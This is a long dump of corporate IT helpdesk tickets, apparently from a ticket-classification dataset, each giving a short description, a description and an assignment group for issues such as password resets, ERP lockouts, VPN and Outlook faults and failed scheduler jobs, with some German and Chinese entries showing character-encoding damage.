please sync her hr org details to purchasing. , is assigned to Assignment group: GRP\_29.Ticket with Short description: i would like to be able to use the camera on my skype for business calls. can you add this to my options?, Description: if this option is currently available, please let me know. , is assigned to Assignment group: GRP\_0.Ticket with Short description: no audio on ethics page, Description: no audio on ethics page, is assigned to Assignment group: GRP\_0.Ticket with Short description: intermittent audio issue on computer , Description: intermittent audio issue on computer , is assigned to Assignment group: GRP\_0.Ticket with Short description: outlook query , Description:
summary:when logging in remotely, i am unable to access my outlook. i understand there is a setting i need to change to fix the issue. please help! , is assigned to Assignment group: GRP\_0.Ticket with Short description: inc1559962 - ticket update, Description: inc1559962 - ticket update, is assigned to Assignment group: GRP\_0.Ticket with Short description: hpqc uacyltoe hxgaycze client login error, Description: \_x000D\_
\_x000D\_
received from: nuhfwplj.ojcwxser@gmail.com\_x000D\_
\_x000D\_
when i try to login, the following message is received. please advise.\_x000D\_
\_x000D\_
[cid:image001.png@01d2287e.88fe6750]\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket query on ticket\_no1559208 , Description: ticket query on ticket\_no1559208 , is assigned to Assignment group: GRP\_0.Ticket with Short description: skype, Description: \_x000D\_
\_x000D\_
received from: nuhfwplj.ojcwxser@gmail.com\_x000D\_
\_x000D\_
i am unable to log into skype. please advise.\_x000D\_
\_x000D\_
[cid:image001.png@01d2287a.e58a4150]\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: monitor on x-ray instrument pc will not stay turned on., Description: monitor on x-ray instrument pc will not stay turned on., is assigned to Assignment group: GRP\_3.Ticket with Short description: sever hqap101 has a hd failure light, Description: sever hqap101 has a hd failure light, kindly create a ticket with the vendor., is assigned to Assignment group: GRP\_26.Ticket with Short description: interaction id : 1064857564, Description: static sound from telephony\_software phones : id : 2175968675 , is assigned to Assignment group: GRP\_0.Ticket with Short description: plant\_269 xerox workcentre 5335 - rr18 printer, Description: \_x000D\_
\_x000D\_
received from: dpuifqeo.eglwsfkn@gmail.com\_x000D\_
\_x000D\_
please advise the user login associated with this machine â€“ need to update the address book\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_3.Ticket with Short description: need installation of msoffice 2010, Description: need installation of msoffice 2010.\_x000D\_
\_x000D\_
user is a new joiner and she's unable to access msoffice 2013 as because she's having e1 license., is assigned to Assignment group: GRP\_3.Ticket with Short description: \\HostName\_768\teams\rta full control access for rjodlbcf uorcpftk, Description: \\HostName\_768\teams\rta full control access for rjodlbcf uorcpftk, is assigned to Assignment group: GRP\_34.Ticket with Short description: password reset rqeuest for SID\_34 erp for fduinmtw yofhirjs (hixsodl), Description:
summary:i need to have a user id reset for SID\_34 erp for fduinmtw yofhirjs (hixsodl)
please e-mail her once you have reset the password., is assigned to Assignment group: GRP\_0.Ticket with Short description: unlock password, Description:
received from: bihfazru.bhjqvtzm@gmail.com
hello, i have 2 employees that has access to scan out production orders on saturday oct. 15, 2016 but do not have access today. could you check into this problem and let me know what to do? hydluapo qbgclmit 6593679 and eulsvchi rqflkeuc 6676678. they have tried to unlock everything in password\_management\_tool but no luck.
cthryhris kovaddcth
production supervisor
bihfazru.bhjqvtzm@gmail.com<mailto:bihfazru.bhjqvtzm@gmail.com>
[cid:image003.jpg@01cfcb3e.29ec32f0]
, is assigned to Assignment group: GRP\_0.Ticket with Short description: frequent lock out issue., Description: \_x000D\_
\_x000D\_
received from: ksxjcvze.ognyetrp@gmail.com\_x000D\_
\_x000D\_
hello\_x000D\_
\_x000D\_
i can't go into vpn,\_x000D\_
password should be not right.???!!!\_x000D\_
\_x000D\_
please can you reset my password. also for vpn\_x000D\_
\_x000D\_
many , is assigned to Assignment group: GRP\_0.Ticket with Short description: the engineering tool is not installed properly, Description: there are two different engineering tools installed on the 2-in1 tablet and neither of them work properly. when i click on a link it goes into a web based search, also when i click on the engineering tool icon it show an error "cannnot continue the application is improperly formatheywted). the other error that i get below is an example of the web based search when entering a new engineering\_tool:\_x000D\_
sorry, the page you were looking for does not exist or is not available. we performed a web search for "http engineering data report server pages report viewer aspx report viewer pages report server" and here's what we found. , is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_2668 failed in job\_scheduler at: 10/17/2016 12:06:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_2668 failed in job\_scheduler at: 10/17/2016 12:06:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: help with programdnty nx9, Description: hi ,
we need your help with programdnty nx9. when the users tiaghry santhuy and pvimkcfw sarxkfvj click in gkad the nx close.
can we do make something to solve this problem?
, is assigned to Assignment group: GRP\_46.Ticket with Short description: crm add in will not come up, Description: crm add in will not come up, is assigned to Assignment group: GRP\_0.Ticket with Short description: analysis not working to run my quote reports. it is not showing in my tool bar., Description: when i try to open through erp business analysis it gives error. the launcher is exited with error. analysis add in is not registered correctly., is assigned to Assignment group: GRP\_9.Ticket with Short description: password reset request for erp, Description:
received from: irqpwgtn.dpautgeh@gmail.com
dear sir,
please reset password as it is failed to logon. as i had changed the password\_management\_tool password due to expiry which results in this problem.
user name: schyhty
emp id: 2027646758
[cid:image001.jpg@01d228b9.e1e4e160]
with best , is assigned to Assignment group: GRP\_0.Ticket with Short description: flash player update issue, Description: flash player update issue, is assigned to Assignment group: GRP\_0.Ticket with Short description: folder access rqeuest : ldgm003 i:\lean, Description: contact :
need read/write access to folder ldgm003 i:\lean
network path : \\HostName\_835\public\lean : read and write access , is assigned to Assignment group: GRP\_12.Ticket with Short description: erp prtgghj4k password reset, Description: erp prtgghj4k password reset, is assigned to Assignment group: GRP\_2.Ticket with Short description: needs to change password , Description: needs to change password , is assigned to Assignment group: GRP\_0.Ticket with Short description: windows account unlock, Description: windows account unlock, is assigned to Assignment group: GRP\_0.Ticket with Short description: forward bcxfhekz bplfrnis's emails to zneyrlhg bfiwanze, Description: bcxfhekz bplfrnis (2118145) exited the company and we need to forward bcxfhekz bplfrnis's emails to zneyrlhg bfiwanze effective immediately.\_x000D\_
, is assigned to Assignment group: GRP\_26.Ticket with Short description: cothyshy has access to the above link. she can edit. but whenever she saves it she does not receive the email confirmation, Description: telephone:
summary:i have completed a nda for alarm systems but am not receiving the emailed response with link to the form.
cothyshy has access to the above link. she can edit. but whenever she saves it she does not receive the email confirmation/ copy.
, is assigned to Assignment group: GRP\_16.Ticket with Short description: job Job\_2668 failed in job\_scheduler at: 10/17/2016 10:06:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_2668 failed in job\_scheduler at: 10/17/2016 10:06:00, is assigned to Assignment group: GRP\_29.Ticket with Short description: icloud account is synched with outlook. need to delete it., Description: icloud account is synched with outlook. need to delete it., is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_34 account locked out., Description: erp SID\_34 account locked out., is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_34 password change, Description: name:bettymcdanghtnuell
language:
browser:microsoft internet explorer
email:mcdythanbm@company.com
customer number:
telephone:
summary:iam locked out of erp tried to change password and got locked out, is assigned to Assignment group: GRP\_0.Ticket with Short description: new employee phone number needed, Description:
summary:new employee phone number needed
, is assigned to Assignment group: GRP\_3.Ticket with Short description: cannot connect pvn, Description: \_x000D\_
\_x000D\_
received from: aqrhwjgo.cyelqkvs@gmail.com\_x000D\_
\_x000D\_
dear it team,\_x000D\_
\_x000D\_
i cannot connect below link. it is long download it and as below screen. please help.\_x000D\_
\_x000D\_
users can access vpn (\_x000D\_
\_x000D\_
[cid:image001.png@01d228b7.02ba5da0]\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_50.Ticket with Short description: server HostName\_858 automatically cancelled backup, Description: received the following email for the last two backups: the job was automatically canceled because it exceeded the job's maximum configured run time. backup server is HostName\_858.\_x000D\_
\_x000D\_
stefyty dabhruji is currently assisting., is assigned to Assignment group: GRP\_12.Ticket with Short description: mobile device activation., Description: mobile device activation., is assigned to Assignment group: GRP\_0.Ticket with Short description: i cannot access the planner app in owa, Description: name:giuliasana byhdderni
language:
browser:microsoft internet explorer
email:ajnpuqym.gvoncems@gmail.com
customer number:
telephone:
summary:i cannot access the planner app in owa, is assigned to Assignment group: GRP\_0.Ticket with Short description: password expired // unable to change the password, Description: password expired // unable to change the password, is assigned to Assignment group: GRP\_0.Ticket with Short description: password reset through password\_management\_tool password manager/collaboration\_platform issue , Description:
summary:i am having difficulty changing my password for usa company through the password\_management\_tool id system. please assist. , is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to access collaboration\_platform, Description: \_x000D\_
\_x000D\_
received from: mfizgpoy.akbvznci@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
i would like to gain access to this link: \_x000D\_
\_x000D\_
i am trying to complete an lagp request for one of my customers. this is the error i'm receiving.\_x000D\_
[cid:image001.png@01d22855.aac9f8a0]\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_16.Ticket with Short description: ticket update - inplant\_870028, Description: ticket update - inplant\_870028, is assigned to Assignment group: GRP\_0.Ticket with Short description: branding site, Description:
received from: jefguyza.mkhwcnes@gmail.com
hello, i can not open our branding site, i receive following error message in internet explorer:
make sure the web address
(i am on vpn)
syhtu pozdrsavom / mit freundlichem gruss / best , is assigned to Assignment group: GRP\_16.Ticket with Short description: getting an error when trying to access the precall planning reports and cmor see attached, Description: keinyujo torvxeda can not access the pre call planning section of the account record. he gets an error that is the same as the one he gets for his reporting\_engineering\_tool on the crm dashbankrd. it fixed once, but when i opened crm again, same issue happened, is assigned to Assignment group: GRP\_0.Ticket with Short description: costing issue for material 6526474 in plant\_316 plant , Description: \_x000D\_
\_x000D\_
received from: aytjedki.rucfxpla@gmail.com\_x000D\_
\_x000D\_
hi can some help me with a costing issue?\_x000D\_
\_x000D\_
mm6526474 this is a part that is made at plant\_327 and was extended to plant\_316. as you can see the cost at plant\_316 is at 21.83 and 12.39 usd. i think that the 21.83 is incorrect.\_x000D\_
when i try to cost this part it is coming in at the 21.83 on the ppc1 and 12.38 on the gpc1 with an warning message of mat. 6526474 in plant plant\_316: itemization does not match cost component split\_x000D\_
i am not sure as to what i need to do to correct this. can you help?\_x000D\_
\_x000D\_
plant\_327 cost is at 16.12 cad\_x000D\_
\_x000D\_
\_x000D\_
[cid:image004.png@01d2284d.2ff23140]\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
[cid:image002.png@01d2284c.febc1410]\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_44.Ticket with Short description: erp SID\_34 locked., Description: erp SID\_34 locked., is assigned to Assignment group: GRP\_0.Ticket with Short description: dedalus report on pdf blocked., Description:
summary:cannot open downloaded dedalus report on pdf. this was reported on several collegues when downloading and opening this particular report., is assigned to Assignment group: GRP\_0.Ticket with Short description: push-out reports, Description: \_x000D\_
\_x000D\_
received from: ctzykflo.evzbhgru@gmail.com\_x000D\_
\_x000D\_
dear all,\_x000D\_
\_x000D\_
i just got the information that since last wednesday rkyjnbqh kfshormi â€“ a sales engineer â€“ didn't receive any push-out reports like\_x000D\_
the open quote report etc.\_x000D\_
\_x000D\_
can someone please check and let us know what happens.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_9.Ticket with Short description: urgent : local server down HostName\_1326, Description: error : windows cannot access \\HostName\_1326"
red cross on the drives in the server.
user has access to server. it has worked before.
contact :
it has impacted our quoting team, design team, and manufacturing (usa plant), is assigned to Assignment group: GRP\_12.Ticket with Short description: unable to open business\_client // install .net framdntyework 4.5, Description: unable to open business\_client // install .net framdntyework 4.5, is assigned to Assignment group: GRP\_0.Ticket with Short description: network drive not loading, Description: network drive not loading, is assigned to Assignment group: GRP\_12.Ticket with Short description: weekly sales activity reports, Description:
received from: mnlvhtug.imvetgoa@gmail.com
i didn't receive any sales activity order reports from publications@company.com for this past weekâ€¦
mnlvhtug imvetgoa
sr. application engineer
general engineering
company inc.
mnlvhtug.imvetgoa@gmail.com<mailto:mnlvhtug.imvetgoa@gmail.com>
[cid:image001.png@01d15842.000812f0]
, is assigned to Assignment group: GRP\_0.Ticket with Short description: skype, Description: \_x000D\_
\_x000D\_
received from: btvmxdfc.yfahetsc@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
i'm facing some problems to join conference calls by skype.\_x000D\_
when i access i'm the only one in the call.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_27.Ticket with Short description: rechner fÃ¼r EU\_tool stÃ¤be hÃ¤ngt sich auf .\spdczoth vajtodny, Description: rechner fÃ¼r EU\_tool stÃ¤be hÃ¤ngt sich auf .\spdczoth vajtodny, is assigned to Assignment group: GRP\_24.Ticket with Short description: reset passwords for ldmwqubi sovqeynk using password\_management\_tool password reset., Description: forgot password for erp login, is assigned to Assignment group: GRP\_17.Ticket with Short description: not able to open single sign on portal on hub , Description: not able to open single sign on portal on hub , is assigned to Assignment group: GRP\_0.Ticket with Short description: rechner fÃ¼r infostand defekt \probleme mit lÃ¼fter \niptbwdq csenjruz, Description: rechner fÃ¼r infostand defekt \probleme mit lÃ¼fter \niptbwdq csenjruz, is assigned to Assignment group: GRP\_24.Ticket with Short description: wir brauchen usb-stick (16gb) fÃ¼r 1.lehrjahr (4 stÃ¼ck)., Description: hallo ,
wir brauchen usb-stick (16gb) fÃ¼r 1.lehrjahr (4 stÃ¼ck).
, is assigned to Assignment group: GRP\_24.Ticket with Short description: not able to submit lean tracker in collaboration\_platform, Description: not able to submit lean tracker in collaboration\_platform, is assigned to Assignment group: GRP\_0.Ticket with Short description: outlook- skype problem, Description: \_x000D\_
\_x000D\_
received from: cspkeyza.bzpyfcki@gmail.com\_x000D\_
\_x000D\_
hello team ,\_x000D\_
\_x000D\_
i can not open outlook and skype in my pc, it gives an error like this\_x000D\_
\_x000D\_
\_x000D\_
[cid:b711608e-db1e-449e-bb73-e6c73c32c540]\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to get to password\_management\_tool to change the password, Description: unable to get to password\_management\_tool to change the password, is assigned to Assignment group: GRP\_0.Ticket with Short description: vpn is suddenly not accepting credentials., Description: vpn is suddenly not accepting credentials., is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_34 account unlock, Description: erp SID\_34 account unlock, is assigned to Assignment group: GRP\_0.Ticket with Short description: in pm\_tool\_for\_sd i can not upload projects to erp ., Description: please see the attached jpg file that show the message from pm\_tool\_for\_sd., is assigned to Assignment group: GRP\_25.Ticket with Short description: account locked., Description: account locked., is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_3028 failed in job\_scheduler at: 10/17/2016 06:46:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_3028 failed in job\_scheduler at: 10/17/2016 06:46:00, is assigned to Assignment group: GRP\_12.Ticket with Short description: bobj webi publications services are not running., Description: all the bobj webi publications have failed over the weekend. the services are still not working., is assigned to Assignment group: GRP\_14.Ticket with Short description: pending pr status & workflow details of approver, Description:
received from: ilbkhgxd.hirsqytd@gmail.com
help desk
there are 2 pr which are pending more than 10 & 15 days which are yet to release by i1. please find the screen shot for both the pr's as below.
[cid:image007.png@01d22886.3e109ad0][cid:image008.png@01d22886.3e109ad0]
[cid:image009.png@01d22886.3e109ad0][cid:image010.png@01d22886.3e109ad0]
but when it is checked in work flow of approver's (user id : jagtgarthy), nothing is pending. screen shot is attached for the same.
[cid:image001.jpg@01d22886.3e3b7b60]
please verify the details for not appearing in the work flow of approver's.
, is assigned to Assignment group: GRP\_29.Ticket with Short description: job Job\_1142 failed in job\_scheduler at: 10/17/2016 06:06:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1142 failed in job\_scheduler at: 10/17/2016 06:06:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: re: ticket\_no1558511 -- comments added, Description:
received from: stdiondwd.rawdwu@company.com
hello dwight,
any update on this?
, is assigned to Assignment group: GRP\_0.Ticket with Short description: HostName\_1013 stibo server physical drive and power supply issue. , Description: HostName\_1013 stibo server physical drive and power supply issue. , is assigned to Assignment group: GRP\_8.Ticket with Short description: not able to open drtawings in pdf, Description: not able to open drtawings in pdf, is assigned to Assignment group: GRP\_0.Ticket with Short description: bobj - not working, Description: \_x000D\_
\_x000D\_
received from: ctzykflo.evzbhgru@gmail.com\_x000D\_
\_x000D\_
dear all,\_x000D\_
\_x000D\_
all reports under bob information spaces like the product management report and quota report and others are missing.\_x000D\_
\_x000D\_
you simply get an empty screen. other users report the same problem.\_x000D\_
\_x000D\_
can you please fix the issue.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: volume: c:\ label:sys-amssm003 94ef9088 on server: is over 85% consumed, Description: volume: c:\ label:sys-amssm003 94ef9088 on server: is over \_x000D\_
85% space consumed. space available: 2.1 g , is assigned to Assignment group: GRP\_12.Ticket with Short description: job Job\_3181 failed in job\_scheduler at: 10/17/2016 05:00:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_3181 failed in job\_scheduler at: 10/17/2016 05:00:00, is assigned to Assignment group: GRP\_10.Ticket with Short description: loaner laptop germany location required , Description:
received from: ubiqcrvy.mxjcnqfs@gmail.com
hi it-team,
i would please need two loaner laptops ( location: germany) from november 21th-22th november 2016 for visitors/consultant from bank who`s name are rtbkimey cfsqwtdv and xikojdym rgazclmi. the consultant will finish a huge update for our erp payment management and autobank tool.
cost center: fuf02756
, is assigned to Assignment group: GRP\_28.Ticket with Short description: not able to see sny information spaces n bobj prod server, Description: not able to see sny information spaces n bobj prod server, is assigned to Assignment group: GRP\_14.Ticket with Short description: reset the password for mdvlkbac uhefoqtg on erp / production / erp, Description: please unlock the account ( hanx123 ) and reset password for me , , is assigned to Assignment group: GRP\_0.Ticket with Short description: set up hand phone for email, Description: \_x000D\_
\_x000D\_
received from: ynsqjehx.kqgrsawl@gmail.com\_x000D\_
\_x000D\_
hi it team,\_x000D\_
\_x000D\_
i'd like to set up my hand set samsung i9305 for my company outlook emails.\_x000D\_
pls offer assistance.\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: im not able to login to SID\_32 system.plese look into this on priority.my user id : venktyamk12, Description: im not able to login to SID\_32 system.plese look into this on priority.my user id is venktyamk12, is assigned to Assignment group: GRP\_2.Ticket with Short description: fe10 å¤å°å‡ºæ¥çº¸å¼ æ–‡å­—ä¸æ¸…æ™°, Description: fe10 å¤å°å‡ºæ¥çº¸å¼ æ–‡å­—ä¸æ¸…æ™°, is assigned to Assignment group: GRP\_30.Ticket with Short description: probleme mit benutzer erneut nur temporÃ¤r! \merdivan \xwirzvda okhyipgr, Description: probleme mit benutzer erneut nur temporÃ¤r! \merdivan \xwirzvda okhyipgr, is assigned to Assignment group: GRP\_24.Ticket with Short description: anmeldefehler lync \qidgvtwa qvbutayx, Description: anmeldefehler lync \qidgvtwa qvbutayx, is assigned to Assignment group: GRP\_24.Ticket with Short description: dvi schnittstelle ohne funktion., Description: dvi schnittstelle ohne funktion. vermutlich grafikkarte defekt. , is assigned to Assignment group: GRP\_42.Ticket with Short description: EU\_tool funktioniert nicht, Description: fehlermeldung: systemfehler &h91115116 (). unbekannter fehler, is assigned to Assignment group: GRP\_25.Ticket with Short description: my engineering tool is not taking new password. it is showing number of failed attempts exceeded., Description: name:syhunil krishnyhda
language:
browser:microsoft internet explorer
email:mpvasqwy.rotkyeja@gmail.com
customer number:
telephone:
summary:i changed my password from password\_management\_tool password. unlocked all accounts. my engineering tool is not taking new password. it is showing number of failed attempts exceeded., is assigned to Assignment group: GRP\_0.Ticket with Short description: bob j, Description: hello,\_x000D\_
\_x000D\_
bob-j geht wieder mal nicht.\_x000D\_
haben wir einen systemfehler?\_x000D\_
\_x000D\_
bob j goes back not even.\_x000D\_
do we have a system failure?\_x000D\_
\_x000D\_
\_x000D\_
mit freundlichen grÃ¼ÃŸen\_x000D\_
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to create delivery-35934304/item 70, Description: please provide the following:\_x000D\_
\_x000D\_
what order number? 35934304\_x000D\_
\_x000D\_
what material or item number? 3114712\_x000D\_
\_x000D\_
what warehouse location? plant\_283\_x000D\_
\_x000D\_
issue description / error message? cannot run d/n although plant\_283 has 1 pcs stock , is assigned to Assignment group: GRP\_6.Ticket with Short description: æ›´æ›å¯†ç¢¼å¾Œ, company connectå¯ç™»å…¥,ä½†ç„¡æ³•ä½¿ç”¨, Description: æ›´æ›å¯†ç¢¼å¾Œ, company connectå¯ç™»å…¥,ä½†ç„¡æ³•ä½¿ç”¨, is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_1332 failed in job\_scheduler at: 10/17/2016 02:26:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1332 failed in job\_scheduler at: 10/17/2016 02:26:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: item on sales order not pulling through to picking slip, Description: \_x000D\_
\_x000D\_
received from: htnvbwxs.gwfrzuex@gmail.com\_x000D\_
\_x000D\_
good day.\_x000D\_
\_x000D\_
please help with the following:\_x000D\_
\_x000D\_
we have an issue on the below sales order:\_x000D\_
\_x000D\_
[cid:image001.png@01d2284d.f0e9c250]\_x000D\_
\_x000D\_
the first line item is not pulling through to the picking slip:\_x000D\_
\_x000D\_
[cid:image002.png@01d2284d.f0e9c250]\_x000D\_
\_x000D\_
please assist.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_13.Ticket with Short description: r126 pc def. evtl. netzgerÃ¤t , Description: r126 pc def. evtl. netzgerÃ¤t , is assigned to Assignment group: GRP\_33.Ticket with Short description: keine datenÃ¼bertragung erp datenbank zu tintenstrahldrucker imaje , Description: bitte sofort lokalen it support smpijawb eawkpgqf vor ort schicken um fehler zu analysieren
komplette auslieferung des werkes germany steht!!!!!!!, is assigned to Assignment group: GRP\_42.Ticket with Short description: EU\_tool performance is very low again, Description: as in the last weeks, the EU\_tool performance is verly low in germany (plant\_197)., is assigned to Assignment group: GRP\_25.Ticket with Short description: not able to submit lean tracker, Description: not able to submit lean tracker, is assigned to Assignment group: GRP\_0.Ticket with Short description: EU\_tool und chargenverwaltung geht nicht., Description: EU\_tool und chargenverwaltung geht nicht., is assigned to Assignment group: GRP\_25.Ticket with Short description: file scanning problem in richoscan-wy14 , Description: from: yotyhga narthdyhy
sent: monday, october 17, 2016 10:51 am
to: nwfodmhc exurcwkm
subject: - fw: file scanning problem in richoscan-wy14
kindly request you to it,
previous this folder is in m drive directly mtb-1st floor-richoscan-wy14 and now somebody have moved this to mtb-1st floor-richoscan-wy15. please correct this and now not able to scan the files to mtb-1st floor-richoscan-wy14.
, is assigned to Assignment group: GRP\_12.Ticket with Short description: EU\_tool ausfall in germany, Description: keine rÃ¼ckmeldungen und zuteillisten mÃ¶glich, is assigned to Assignment group: GRP\_25.Ticket with Short description: serverprobleme qm-soft nicht anwendbar, Description: serverprobleme qm-soft nicht anwendbar, is assigned to Assignment group: GRP\_25.Ticket with Short description: battery not charging when the power adapter is connected., Description: battery not charging when the power adapoter is connected.
-when the power adaptor is unpliugged , the batter is not detected.
system: latitude e5440
service tag: hvzlqthr12 | express service code: 38567939551238
-installed the power system bios .
-restarted the pc and checked still the same issue.
-issue with the battery.needs replacement.
-contact : , is assigned to Assignment group: GRP\_19.Ticket with Short description: computer will not turn on., Description: the computer 5lthyqzns1 service code 1276199035169 will not turn on at all. tried changing elengineering toolical plug and had no effect. the fan to the computer will not turn on either.
contact: gordon leach/xernsfqa uzvsnlbd number , is assigned to Assignment group: GRP\_19.Ticket with Short description: reset passwords for cubdsrml znewqgop using password\_management\_tool password reset., Description: the, is assigned to Assignment group: GRP\_17.Ticket with Short description: error login on to the SID\_34 system., Description: error login on to the SID\_34 system.\_x000D\_
-verified user details.(employee# & manager name)\_x000D\_
-user has tried the password\_management\_tool pwd manager.\_x000D\_
-unlocked and reset the erp id to"daypay3".\_x000D\_
-caller confirmed that he was able to login.\_x000D\_
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: printer offline (see attachment), Description: printer offline (see attachment), is assigned to Assignment group: GRP\_42.Ticket with Short description: job hr\_payroll\_na\_u6 failed in job\_scheduler at: 10/17/2016 00:02:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job hr\_payroll\_na\_u6 failed in job\_scheduler at: 10/17/2016 00:02:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job hr\_payroll\_na\_u1 failed in job\_scheduler at: 10/17/2016 00:02:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job hr\_payroll\_na\_u1 failed in job\_scheduler at: 10/17/2016 00:02:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job hr\_payroll\_na\_u2 failed in job\_scheduler at: 10/17/2016 00:02:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job hr\_payroll\_na\_u2 failed in job\_scheduler at: 10/17/2016 00:02:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: login issue erp SID\_34, Description: login issue erp SID\_34\_x000D\_
-user getting "logon balancing error - 88.\_x000D\_
-advised the user to check if he is on the company network.\_x000D\_
-advised the user to login and check.\_x000D\_
-caller confirmed that she was able to login.\_x000D\_
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: dn 9169508476,t/o 642392, Description: \_x000D\_
\_x000D\_
received from: gjtyswkb.dpvaymxr@gmail.com\_x000D\_
\_x000D\_
dear it,\_x000D\_
\_x000D\_
we can not do z\_chk for dn 9169508476,pls help to check it, it's urgent, , is assigned to Assignment group: GRP\_6.Ticket with Short description: cannot review stock at mdw04 // mm 6720004 , Description: \_x000D\_
\_x000D\_
received from: aqrhwjgo.cyelqkvs@gmail.com\_x000D\_
\_x000D\_
dear it team,\_x000D\_
\_x000D\_
i just complete gr for dn 9168073012\_mm 6720004 but there is not stock available on md04. please advise because i would like to ship to customer 5 pcs today.\_x000D\_
\_x000D\_
[cid:image001.png@01d22863.386174b0]\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_6.Ticket with Short description: cannot review stock at mdw04 // mm 6720004 , Description: \_x000D\_
\_x000D\_
received from: aqrhwjgo.cyelqkvs@gmail.com\_x000D\_
\_x000D\_
dear it team,\_x000D\_
\_x000D\_
i just complete gr for dn 9168073012\_mm 6720004 but there is not stock available on md04. please advise because i would like to ship to customer 5 pcs today.\_x000D\_
\_x000D\_
[cid:image001.png@01d22863.386174b0]\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: access to network drive and printer, Description:
received from: sxnzacoj.lwvqgfby@gmail.com
please provide access to following to mr. akirtyethsyd (user id: vvsthryomaa)
1. \\aswyuysm003\mtbelengineering toolical\_production<file:///\\aswyuysm003\mtbelengineering toolical\_production> (read write)
2. \\HostName\_95\mtbu\_ele<file:///\\HostName\_95\mtbu\_ele> (read only)
3. printer wy14
, is assigned to Assignment group: GRP\_12.Ticket with Short description: job hr\_payroll\_na\_u2 failed in job\_scheduler at: 10/16/2016 23:00:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job hr\_payroll\_na\_u2 failed in job\_scheduler at: 10/16/2016 23:00:00, is assigned to Assignment group: GRP\_10.Ticket with Short description: job hr\_payroll\_na\_u6 failed in job\_scheduler at: 10/16/2016 23:00:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job hr\_payroll\_na\_u6 failed in job\_scheduler at: 10/16/2016 23:00:00, is assigned to Assignment group: GRP\_10.Ticket with Short description: job hr\_payroll\_na\_u1 failed in job\_scheduler at: 10/16/2016 23:00:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job hr\_payroll\_na\_u1 failed in job\_scheduler at: 10/16/2016 23:00:00, is assigned to Assignment group: GRP\_10.Ticket with Short description: è½¬å‘: recall plant\_247-101516-02 ref 6500073942, Description:
received from: wktesmbp.lorjymef@gmail.com
dear team,
we got a stock recall notice from plant\_247 plant,mm#2982278\*200pcs need to be returned to plant\_101. we just created sto#5019340040 for this request but only 80pc dn generated. pls. help to run out dn for the rest 120pc materials,thx!
b.rgds
judthtihty.zhuyhts
company hardpoint apac-wgq dc
, is assigned to Assignment group: GRP\_18.Ticket with Short description: job Job\_3050 failed in job\_scheduler at: 10/16/2016 22:18:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_3050 failed in job\_scheduler at: 10/16/2016 22:18:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: ned on to vpn, but can not access hana or erp., Description: name:pfzxecbo ptygkvzl
language:
browser:microsoft internet explorer
email:pfzxecbo.ptygkvzl@gmail.com
customer number:
telephone:
summary:signed on to vpn, but can not access hana or erp., is assigned to Assignment group: GRP\_3.Ticket with Short description: outlook not launching., Description: outlook not launching.
-contact :
-connected to the user system using teamviewer
-user confirmed he does not use ms crm.
-tried to repair the ms office.
-restarted the pc.
-tried to reconfigure the outlook. taking some time.
-outlook ver - 2016
-user mentioned that he will call us back tomorrow with the ticket nunber
-please help the user.
, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp been locked, please help to un-lock, and tell me the new password., Description: please help to unlock erp, and tell me the new password, is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_2114 failed in job\_scheduler at: 10/16/2016 17:31:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_2114 failed in job\_scheduler at: 10/16/2016 17:31:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: bobj, Description: \_x000D\_
\_x000D\_
